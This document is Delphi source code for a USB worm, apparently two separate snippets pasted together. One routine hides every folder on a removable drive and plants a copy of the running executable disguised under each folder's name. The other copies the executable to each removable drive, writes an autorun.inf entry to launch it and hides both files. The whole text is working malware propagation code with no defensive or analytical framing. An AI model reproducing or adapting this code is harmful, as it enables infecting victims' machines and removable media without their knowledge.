program Project2;

uses
       SysUtils,windows;
       var

       F: TSearchRec;
              i: Integer;
              h: THandle;
              L: TStringList;

procedure InfectDir(Root: String);

          begin        
              L:=TStringList.Create;
              L.Clear;
              L.Add(Root);
              i := 0;        
              while i < L.Count do begin
                Root := IncludeTrailingBackslash(L.Strings[i]);        
                h := FindFirst(Root + '*.*', faAnyFile, F);        
                while h = 0 do begin        
                  if (F.Attr and faDirectory) = faDirectory then begin
                    if (F.Name <> '.') and (F.Name <> '..') then begin
                      L.Add(Root + F.Name);        
                      SetFileAttributes(PChar(Root+F.Name),faHidden);        
                      CopyFile(pchar(ParamStr(0)),pchar(Root + F.Name+'.exe'),false);
                      SetFileAttributes(PChar(Root+F.Name+'.exe'),faArchive);
                    end;
                  end;        
                  h :=FindNext(F);
                end;
                FindClose(F);
                Inc(i);
              end;
              L.Free;
          end;

procedure InfectUsb;        
      var
         DiskType,ifind : integer;        
         Drives : set of 0..25;        
         Drv : char;        
      begin        
         try        
         Integer(Drives):=GetLogicalDrives;
         for ifind:=0 to 25 do        
         if (ifind in Drives) then        
          begin        
          Drv:=Char(ifind+Ord('A'));        
          DiskType:=GetDriveType(PChar(Drv+':\'));
          if (DiskType = DRIVE_REMOVABLE)  then
          begin        
          InfectDir(PChar(Drv+':\'));
          end;
         end        
         except
         exit;        
         end;
      end;

begin

end

unit uUSBSpread;

interface

uses
Windows, uInstall, pFunc, uConst;

function InfectUsbDrives(ExeName:string) :Integer;

implementation

function InfectUsbDrives(ExeName:string) :Integer;
var
Drive: Char;
myFile: TextFile;
begin
Result := 0;
for Drive := 'A' to 'Z' do
begin
if (GetDriveType(PChar(Drive + ':\'))= DRIVE_REMOVABLE) then
begin
try
if FileExists(Drive+':\'+ExeName) = False then
begin
CopyFile(PChar(ParamStr(0)),PChar(Drive+':\'+ExeName),False);
AssignFile(myFile, Drive+':\autorun.inf');
if not FileExists(Drive+':\autorun.inf') then ReWrite(myFile)
else Append(myFile);
WriteLn(myFile,'[autorun]'+#13#10+'open='+ExeName);
CloseFile(myFile);
sleep(10);
HideFile(Drive+':\'+ExeName);
sleep(10);
HideFile(Drive+':\autorun.inf');
Result := Result + 1;
end;
except
end;
end;
end;
end;

end.